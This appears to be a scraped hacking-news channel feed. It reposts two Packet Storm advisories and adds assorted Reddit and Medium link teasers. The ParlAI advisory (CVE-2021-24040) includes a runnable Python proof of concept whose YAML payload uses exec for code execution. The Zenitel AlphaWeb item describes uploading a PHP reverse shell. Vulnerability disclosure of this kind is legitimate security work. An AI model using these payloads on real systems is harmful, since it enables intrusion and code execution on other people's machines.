Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization


Facebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.

MD5 | 1cb8116b6d8d649d3910c62fb8866a74

Download



# Exploit Title: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai
# Date: 2021-09-11
# Exploit Author: Abhiram V
# Vendor Homepage: https://parl.ai/
# Software Link: https://github.com/facebookresearch/ParlAI
# Version: < 1.1.0
# Tested on: Linux
# CVE: CVE-2021-24040
# References :
# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
# | https://anon-artist.github.io/blogs/blog3.html |

############################################################################

Introduction
ParlAI (pronounced “par-lay”) is a free, open-source python framework for
sharing, training and evaluating AI models on a variety of openly available
dialogue datasets.

############################################################################

Vulnerability details

############################################################################

Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution.

Proof of Concept

Create the following PoC file (exploit.py)

import os
#os.system('pip3 install parlai')
from parlai.chat_service.utils import config
exploit = """!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.parse_configuration_file('config.yml')

Execute the python script ie, python3 exploit.py

Impact
Code Execution

############################################################################





Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorZenitel AlphaCom XE Audio Server 11.2.3.10 Shell Upload


Zenitel AlphaCom XE Audio Server versions up to 11.2.3.10 have a web interface called AlphaWeb XE that allows for a remote shell upload.

MD5 | 6b53ff27b2a4d835007b117376d0f7c0

Download




I. VULNERABILITY
-------------------------
AlphaWeb XE - Authenticated Insecure File Upload leading to RCE


II. CVE REFERENCE
-------------------------
CVE-2021-40845


III. VENDOR
-------------------------
https://www.zenitel.com/


IV. DESCRIPTION
-------------------------

The web part of Zenitel AlphaCom XE Audio Server through 11.2.3.10, called AlphaWeb XE, does not restrict file upload in the Custom Scripts section at php/index.php. Neither the content nor extension of the uploaded files is checked, allowing execution of PHP code under the /cmd directory.

To exploit this vulnerability, someone must authenticate in the server and access the "Scripts" button in the "Custom scripts" tab.

![img1](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image1.png?raw=true)

Then, the button "Choose file" is clicked and the file is uploaded clicking "Upload".

![img3](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image3.png?raw=true)

The PHP test file is a simple one-line reverse shell:

![img2](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image2.png?raw=true)

The new file, with the same name, extension and content is listed in the Scripts page:

![img4](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image4.png?raw=true)

The path of these files is /cmd/$FILE$. Knowing the path, as there is not any restriction the file upload functionality, uploading a PHP reverse shell or cmdshell allows to get Remote Code Execution in the server:

![img5](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image5.png?raw=true)


V. REFERENCES
-------------------------
https://wiki.zenitel.com/wiki/AlphaWeb
https://wiki.zenitel.com/wiki/AlphaWeb_Custom_Scripts
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40845


VI. CREDIT
-------------------------
Ricardo José Ruiz Fernández (@ricardojoserf)



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Accessing Grofers Grafana Instance Using Shodan

Hello People….
Read more...

Bypass Server Upload Restrictions

How to Get a Shell on a Website using a File TutorialContinue reading on InfoSec Write-ups »
Read more...

Is there a good (native) decoder tool?
https://www.reddit.com/r/Pentesting/comments/po6wsu/is_there_a_good_native_decoder_tool/

Hello there, does anyone of you know any good decoder tools (URI component, base64, etc.) for Windows and/or Kali? Tools with GUIs preferred but I'm fine working with CLI. Currently, I'm working most of the with the decoder tools of Burp and the Penetration Testing Toolkit extension for Chromium-base browsers, but as they are not really sophisticated I was wondering if you guys know any alternative? Actually, I do not want to use web application decoders (at least not the ones I know, i.e., CyberChef), but I'm open for suggestions. Best regards
winklerrr submitted by /u/winklerrr (https://www.reddit.com/user/winklerrr)
[link] (https://www.reddit.com/r/Pentesting/comments/po6wsu/is_there_a_good_native_decoder_tool/) [comments] (https://www.reddit.com/r/Pentesting/comments/po6wsu/is_there_a_good_native_decoder_tool/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Join us in the path of learning or just having fun

Hi everyone,

​

Are looking for a group to join or to challenge people(like in king of the hill)?

We have a Discord where you can join us for CTFs at : http://n00bsctfs.team/

It has remained a small team but we're looking to make it grow in order to have more people available. Any age is welcome and you must respect the rules !

(We will update the website eventually lol)

We have people on different levels and new comers are always welcome. We are on HTB and THM..maybe others

submitted by /u/alexsuavex3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://a.thumbs.redditmedia.com/yCwaPgDTrD172WHB2fOtn1ENwOtcH9kGOaHamezt_c8.jpg Hey, folks, I'm involved for a long time in the hacker scene, making designs and shirts for CONs.I just made a hackers wear shop. I'm just getting started, many more to come. Do you like it?

https://preview.redd.it/lli2hmwexhn71.jpg?width=1000&format=pjpg&auto=webp&s=5757aca2d116d6eec6612a85f48ab7664200e54d

submitted by /u/_www_
[link] [comments]

hacking: security in practice
Kali Linux 2021.3 Released

submitted by /u/wise_quote
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O que é um vazamento de dados, e como mitigar os danos?


O que você precisa saber, caso seus dados sejam vazados na internet

Continue reading on Medium »

Hacking on Medium
Update Now: Apple Patches iOS, Mac Attack That Uses Malicious PDFs to Hack Devices


The bug, dubbed ForcedEntry, could lead to remote code execution. Apple also patches an iOS flaw that leverages maliciously crafted web…

Continue reading on PC Magazine »

Hacking on Medium
New Neovim Plugins You Should Try


Neovim plugins to try out for better development workflow.

Continue reading on Medium »

Hacking on Medium
CVE-2021–40444 — Metasploit Reverse Shell using a malicious .dll payload

Probably you already know about the CVE-2021–40444 (Microsoft Office Word Remote Code Execution). Attackers abused it to exploit and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
OverTheWire Bandit walkthrough Lv 0

Hi people :) , I’m Anish.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Why is Bug bounty trending?
https://medium.com/@shivyanshi.shukla/why-is-bug-bounty-trending-af0d2c0780bf?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video